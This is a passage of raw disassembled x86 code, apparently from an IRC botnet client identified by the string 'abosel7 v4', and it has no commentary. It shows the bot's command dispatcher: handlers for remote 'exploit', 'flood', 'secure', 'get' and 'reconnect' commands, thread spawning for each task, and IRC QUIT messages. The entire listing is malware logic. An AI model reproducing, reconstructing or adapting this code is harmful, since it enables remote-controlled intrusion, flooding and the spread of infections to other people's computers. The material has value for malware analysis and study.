		jle	short loc_403FCB
		push	offset unk_42BC04
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BBDC
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBBC
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26A0D63h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax

loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854

loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BB84
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB64
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1

loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB40
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4041D3

loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------

loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		call	near ptr 2690CE2h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------

loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BAE8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB00C
		call	dword_4CAECC
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BACC
		jmp	short loc_404285
; ---------------------------------------------------------------------------

loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAB0

loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40438D

loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_404377
; ---------------------------------------------------------------------------

loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42BA60
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA48
		call	sub_4151AC

loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA44
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------

loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx

loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40448F

loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_404479
; ---------------------------------------------------------------------------

loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42B9E8
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42B9D0

loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9A4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------

loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------

loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx

loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------

loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B954
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B920
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------

loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B910
		push	offset dword_42B900
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B8F4
		push	offset dword_42B8E4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------

loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074

loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi

loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------

loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------

loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl

loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8BC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40470D

loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------

loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset dword_42B880
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------

loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084

loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B854
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404813

loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------

loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42B814
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856

loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1

loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B7E0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404911

loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------

loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		call	near ptr 2690CE2h
		nop
		push	eax
		push	offset dword_42B7A4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE

loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B6F4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B6E4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6B8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B68C
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9BC

loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE728, ebx
		jz	short loc_404A4A
		push	offset dword_4CE108

loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B650
		jmp	loc_404AE0
; ---------------------------------------------------------------------------

loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------

loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B610
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------

loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE108
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE728, 1
		pop	ecx
		push	esi
		push	offset unk_42B5E4

loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------

loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404BE6

loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------

loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42B56C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		call	near ptr 26A0D63h
		nop
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
